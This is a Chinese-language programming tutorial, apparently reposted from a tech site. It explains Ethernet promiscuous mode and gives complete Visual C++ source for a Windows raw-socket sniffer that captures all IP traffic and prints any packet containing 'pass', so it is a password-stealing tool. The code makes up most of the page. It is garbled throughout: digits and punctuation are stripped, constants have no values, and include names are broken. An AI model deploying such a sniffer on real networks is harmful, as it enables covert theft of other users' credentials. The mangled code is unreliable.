熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> .NET編程 >> 正文

Visual C++制作一個Sniffer實例

2013-11-13 10:14:39  來源: .NET編程 
Sniffer是網絡中一種常見的嗅探技術對於網絡管理員而言他可以利用Sniffer來獲取相關的網絡流量情況進而發現一些潛在的網絡性能或者安全問題而對於黑客而言Sniffer則能夠幫助他得到一些重要的數據諸如用戶名和密碼或者其他的商業機密Sniffer工作在用戶看不見也注意不到的網絡底層隱蔽性極強如被非法利用將會造成極大的危害而利益受損的用戶可能還渾然不覺

  為了使讀者對Sniffer的原理有一個深入的理解本實例實現一個Sniffer來捕捉用戶名和密碼如果抓到密碼的話就在屏幕上面打印出來同時還輸出源計算機和目的計算機的IP地址至於其他的信息我們則進行簡單的拋棄而不做任何處理程序編譯運行後啟動控制台運行snifpassexe文件後使用IE登錄使用您的用戶名和密碼登錄會員區時sniffer獲取的結果如下圖所示

  

  圖一sniffer程序界面效果圖


  一實現方法

  在說明Sniffer實現方法之前讓我們先來看看以太網的工作方式我們知道以太網是一種基於廣播信道的通信網絡在這種廣播網絡中數據的發送是以廣播方式來進行的當一台計算機向另外一台計算機發送數據時該數據將同時被發送到局域網中的其他所有計算機的網卡上這樣一來每台計算機的網卡都能夠收到這個數據幀但在正常情況下網卡只接受兩種數據幀

  和自己的MAC地址相匹配的數據幀

  網絡中的廣播數據幀

  換而言之只要網卡發現自己收到的數據幀和自己的MAC地址並不匹配網卡就簡單的將其拋棄不做任何處理所以在正常情況下網絡中的通信還是安全的

  但是以太網卡還有一種特殊的接收模式混雜模式在混雜模式下面網卡能夠接收一切通過它的數據而不管該數據是否是傳給它的

  好了現在Sniffer的原理已經浮出水面我們來總結一下實現Sniffer的兩個條件

   我們需要一個共享式以太網環境

  我們需要將網卡的接收模式設置為混雜模式

  滿足這兩個條件後我們就可以在網絡中不動聲色的來嗅探我們想要的數據了下面我們來分析一下一個基本的Sniffer是如何實現的
為了能夠在網絡上捕捉所有的數據包我們首先需要將網卡設置為混雜模式在Windows環境下面我們要用到一個函數WSAIoctl()在MSDN裡我們可以看到該函數的定義如下

 int WSAIoctl (
 SOCKET s
 DWORD dwIoControlCode
 LPVOID lpvInBuffer
 DWORD cbInBuffer
 LPVOID lpvOUTBuffer
 DWORD cbOUTBuffer
 LPDWORD lpcbBytesReturned
 LPWSAOVERLAPPED lpOverlapped
 LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE
);

  該函數共有九個參數第一個參數s是套接字描述符第二個參數是I/O控制命令有很多個命令可供選擇但在我們的程序中將只使用SIO_RCVALL 命令第三第四個參數是對輸入參數進行了描述第五第六個參數用於自調用返回的任何數據第七個參數對應於實際返回的字節數最後兩個參數是 lpOverlapped和lpCompletionROUTINE在隨重疊I/O調用這個函數時使用在我們的程序中將其設置為NULL
通過這個函數我們可以將網卡設置為混雜模式並允許指定的套接字接收網絡上的所有IP數據包解決了網卡混雜模式設置的問題下面我們就可以做一個實際的 Sniffer畢竟只有通過親自動手寫程序你才能夠真正理解Sniffer在這個例子中我們將只捕捉用戶名和密碼如果抓到密碼的話就在屏幕上面打印出來同時還輸出源計算機和目的計算機的IP地址至於其他的信息我們則進行簡單的拋棄而不做任何處理

  二編程步驟

  啟動Visual C++新建項目Snifpass選擇控制台模式

  使用ClassWizard在項目中插入文件Snifpassc

  添加代碼編譯運行程序

  三程序代碼

//////////////////////////////////////////////////////////////
#include <stdioh>
#include <stringh>
#include <Winsockh>
#include <mstcpiph>
#include wstcpiph
#define MAX_PACK_LEN //接收的最大IP報文
#define MAX_ADDR_LEN // 點分十進制地址的最大長度
#define MAX_HOSTNAME_LAN //最大主機名長度
typedef struct _iphdr
{
 unsigned char h_lenver; //位首部長度+位IP版本號
 unsigned char tos; //位服務類型TOS
 unsigned short total_len; //位總長度(字節)
 unsigned short ident; //位標識
 unsigned short frag_and_flags; //位標志位
 unsigned char ttl; //位生存時間 TTL
 unsigned char proto; //位協議 (TCP UDP 或其他)
 unsigned short checksum; //位IP首部校驗和
 unsigned int sourceIP; //位源IP地址
 unsigned int destIP; //位目的IP地址
}IP_HEADER;
SOCKET SockRaw; int DecodeIpPack(char *int); //IP解包函數
void CheckSockError(intchar*);//SOCK錯誤處理函數

void main(int argc char ** argv)
{
 int iErrorCode;
 char RecvBuf[MAX_PACK_LEN] = {};
 WSADATA wsaData;
 char name[MAX_HOSTNAME_LAN];
 struct hostent * pHostent;
 SOCKADDR_IN sa;
 DWORD dwBufferLen [];
 DWORD dwBufferInLen = ;
 DWORD dwBytesReturned = ;

 if(argc!=)
 {
  printf(Password sniffer written by Wu\n\n);
  printf(Usage:);
  printf(\tsnifferexe \n);
  exit();
 }
 printf(Its now sniffingCTRL+C to exit\n\n);
 //初始化SOCKET建立一個原始套接字
 iErrorCode = WSAStartup(x&wsaData);
 CheckSockError(iErrorCode WSAStartup);
 SockRaw = socket(AF_INET SOCK_RAW IPPROTO_IP);
 CheckSockError(SockRaw socket);
 //獲取本機IP地址
 iErrorCode = gethostname(name MAX_HOSTNAME_LAN);
 CheckSockError(iErrorCode gethostname);
 pHostent = (struct hostent * )malloc(sizeof(struct hostent));
 pHostent = gethostbyname(name);
 sasin_family = AF_INET;
 sasin_port = htons();
 memcpy(&sasin_addrS_unS_addr pHostent>h_addr_list[] pHostent>h_length);
 //綁定套接字
 iErrorCode = bind(SockRaw (PSOCKADDR)&sa sizeof(sa));
 CheckSockError(iErrorCode bind);
 //設置SOCK_RAW為SIO_RCVALL以便接收所有的IP包
 iErrorCode=WSAIoctl(SockRaw SIO_RCVALL&dwBufferInLen sizeof(dwBufferInLen)
 &dwBufferLen sizeof(dwBufferLen)&dwBytesReturned NULL NULL );
 CheckSockError(iErrorCode Ioctl);
 //偵聽IP報文
 while()
 {
  memset(RecvBuf sizeof(RecvBuf));
  iErrorCode = recv(SockRaw RecvBuf sizeof(RecvBuf) );
  CheckSockError(iErrorCode recv);
  iErrorCode = DecodeIpPack(RecvBuf iErrorCode);//對收到的IP包進行解包
  CheckSockError(iErrorCode Decode);
 }
}
//IP解包程序
int DecodeIpPack(char *buf int iBufSize)
{
 IP_HEADER *pIpheader;
 char *SearchPass;
 int iIphLen iTTL;
 char szSourceIP[MAX_ADDR_LEN] szDestIP[MAX_ADDR_LEN];
 SOCKADDR_IN saSource saDest;
 pIpheader = (IP_HEADER *)buf;
 //獲取源IP地址
 saSourcesin_addrs_addr = pIpheader>sourceIP;
 strncpy(szSourceIP inet_ntoa(saSourcesin_addr) MAX_ADDR_LEN);
 //獲取目標IP地址
 saDestsin_addrs_addr = pIpheader>destIP;
 strncpy(szDestIP inet_ntoa(saDestsin_addr) MAX_ADDR_LEN);
 iTTL = pIpheader>ttl;
 //計算IP包頭長度
 iIphLen = sizeof(unsigned long) * (pIpheader>h_lenver & xf);
 SearchPass = buf + iIphLen + ;
 //如果抓到密碼就輸出
 if(strstr(SearchPasspass)||strstr(SearchPassPass)||strstr(SearchPassPASS))
 {
  printf(\n\n%s>%s szSourceIP szDestIP); //輸出源計算機和目的計算機的IP地址
  printf(bytes=%d TTL=%d \niBufSizeiTTL);
  printf(%sSearchPass);
 }
 return ;
}
//SOCK錯誤處理程序
void CheckSockError(int iErrorCode char *pErrorMsg)
{
 if(iErrorCode==SOCKET_ERROR)
 {
  printf(%s Error:%d\n pErrorMsg GetLastError());
  closesocket(SockRaw);
  exit();
 }
}
  小結

  本實例首先介紹了以太網的工作方式然後在此基礎上實現網絡嗅探程序希望它對於那些對網絡技術黑客技術的讀者朋友所有幫助


From:http://tw.wingwit.com/Article/program/net/201311/13024.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.